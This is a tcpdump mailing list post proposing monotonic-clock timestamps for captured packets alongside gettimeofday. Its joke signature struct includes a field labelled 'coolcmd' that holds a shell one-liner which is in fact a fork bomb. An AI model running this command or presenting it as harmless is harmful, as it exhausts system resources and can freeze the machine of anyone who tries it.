tcpdump mailing list archives

Monotonic clock timestamp on packets


From: Thomas Habets <thomas () habets pp se>
Date: Tue, 4 May 2010 08:29:54 +0200 (CEST)


Hi.

Has anyone looked into timestamping the captured packets using clock_gettime(CLOCK_MONOTONIC, ...)?

I'm thinking adding a struct timespec to struct pcap_pkthdr and filling that in addition to the struct timeval.

For a request-reply situation a monotonic clock is much more reliable than gettimeofday().

---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas () habets pp se" };
  char kernel[]    = { "Linux" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
-
This is the tcpdump-workers list.
Visit https://cod.sandelman.ca/ to unsubscribe.


Current thread: